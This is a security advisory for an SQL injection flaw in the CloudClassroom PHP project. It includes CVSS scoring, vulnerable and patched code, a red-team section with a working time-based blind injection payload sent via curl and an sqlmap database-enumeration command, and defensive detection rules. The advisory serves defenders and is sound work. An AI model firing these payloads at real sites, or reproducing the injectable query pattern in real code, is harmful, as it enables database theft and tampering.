CVE-2025-45542

Executive Summary

CVE-2025-45542 is a critical SQL injection vulnerability discovered in the pass parameter of the registrationform endpoint within the CloudClassroom-PHP-Project version 1.0. This vulnerability allows an unauthenticated remote attacker to inject arbitrary SQL queries, potentially leading to full database compromise, data exfiltration, and further lateral movement within the network. The exploit is publicly available via Exploit-DB, and no official patch has been released by the vendor. The CVSS score is estimated at 9.8 (Critical) due to the network attack vector, low complexity, no privileges required, and no user interaction needed.

Supply Chain & Package Security

This project is a PHP-based web application with no known package manager dependencies (e.g., NPM, PyPI, Go, Ruby). The risk is limited to direct exploitation of the vulnerable endpoint.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) - Full database read access possible.
• Integrity (I): High (H) - Data can be modified or deleted.
• Availability (A): High (H) - Database can be disrupted via heavy queries or time-based attacks.

Threat Level: Critical. The combination of public exploit code, no patch, and high impact makes this a high-priority vulnerability for any organization using this software.

Deep Dive & Mechanics

The vulnerability resides in the pass parameter of the registrationform endpoint. The application fails to sanitize or parameterize user input before including it in an SQL query. The provided exploit demonstrates a time-based blind SQL injection technique.

How it works:

1. The attacker sends a POST request to /CloudClassroom-PHP-Project-master/registrationform with a crafted pass parameter.
2. The payload u]H[ww6KrA9F.x-F0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z injects a conditional SQL statement.
3. If the condition now()=sysdate() is true (which it always is), the database executes sleep(6), causing a 6-second delay in the server response.
4. This delay confirms the injection point and allows the attacker to extract data character by character using similar boolean or time-based queries.

The vulnerable code likely constructs an SQL query like:

INSERT INTO users (..., pass, ...) VALUES (..., '$_POST['pass']', ...);

Without proper escaping or prepared statements, the attacker's input is directly concatenated.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<?php
$pass = $_POST['pass'];
$sql = "INSERT INTO users (username, password) VALUES ('$username', '$pass')";
mysqli_query($conn, $sql);
?>

Patched Code (Conceptual):

<?php
$pass = $_POST['pass'];
$stmt = $conn->prepare("INSERT INTO users (username, password) VALUES (?, ?)");
$stmt->bind_param("ss", $username, $pass);
$stmt->execute();
?>

The patched version uses prepared statements with parameterized queries, which prevents SQL injection by separating SQL logic from data.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Download the vulnerable application from the official GitHub repository:

   wget https://github.com/mathurvishal/CloudClassroom-PHP-Project/archive/refs/heads/master.zip
   unzip master.zip
   

2. Deploy on a local server (e.g., XAMPP on Windows or LAMP on Ubuntu).
3. Ensure the database is configured and the application is accessible.

Exploitation Steps:

1. Use the provided Exploit-DB code to confirm the vulnerability:

   curl -X POST http://localhost/CloudClassroom-PHP-Project-master/registrationform \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "addrs=3137%20Laguna%20Street&course=1&dob=1967/1/1&email=testing@example.com&faname=test&fname=test&gender=Female&lname=test&pass=u]H[ww6KrA9F.x-F0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z&phno=94102&sub="
   

   • If the server takes approximately 6 seconds to respond, the injection is successful.

2. For data extraction, use a tool like sqlmap:

   sqlmap -u "http://localhost/CloudClassroom-PHP-Project-master/registrationform" \
     --data="addrs=test&course=1&dob=1967/1/1&email=test@test.com&faname=test&fname=test&gender=Female&lname=test&pass=test&phno=12345&sub=" \
     --batch --dbs
   

Blue Team (Defensive)

Detection Steps:

1. Monitor for unusual POST requests to /registrationform with abnormal pass parameters containing SQL keywords (e.g., OR, XOR, SLEEP, UNION).
2. Look for response delays exceeding normal thresholds (e.g., >2 seconds).
3. Check database logs for unexpected queries or errors.

Mitigation Steps:

1. Immediately isolate the application if it is internet-facing.
2. Apply input validation and parameterized queries as shown in the patched code.
3. Implement a Web Application Firewall (WAF) to block SQL injection patterns.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /CloudClassroom-PHP-Project-master/registrationform with pass parameter containing SQL keywords.
  • Unusual response times (e.g., >5 seconds) from the server.
• File IOCs:
  • Log entries in web server logs (e.g., access.log) showing the exploit payload.
• Database IOCs:
  • Unexpected queries in database logs, especially those containing SLEEP, BENCHMARK, or UNION SELECT.

Detection Engineering

YARA Rule

rule CVE_2025_45542_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-45542"
        author = "Valters IT"
        date = "2025-06-01"
        reference = "CVE-2025-45542"
    strings:
        $s1 = "pass=" nocase
        $s2 = "XOR" nocase
        $s3 = "sleep(" nocase
        $s4 = "if(" nocase
        $s5 = "now()=sysdate()" nocase
    condition:
        all of ($s1, $s2, $s3, $s4, $s5)
}

Sigma Rule

title: CVE-2025-45542 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against CloudClassroom registrationform
author: Valters IT
date: 2025-06-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/registrationform'
        cs-uri-query|contains: 'pass='
        cs-uri-query|contains|all:
            - 'XOR'
            - 'sleep('
            - 'if('
    condition: selection
falsepositives:
    - Legitimate use of XOR in passwords (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-45542 SQL Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/registrationform"; http_uri; content:"pass="; http_client_body; content:"XOR"; http_client_body; content:"sleep("; http_client_body; content:"if("; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the registrationform endpoint if not required.
   • Apply a virtual patch using a WAF to block SQL injection patterns.
   • Restrict network access to the application (e.g., VPN only).

2. Long-term Fix:

   • Rewrite the vulnerable code to use prepared statements with parameterized queries.
   • Conduct a full security audit of the application.
   • Monitor the vendor's repository for an official patch.

3. Detection:

   • Deploy the provided YARA, Sigma, and Suricata rules.
   • Enable detailed logging for web and database servers.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

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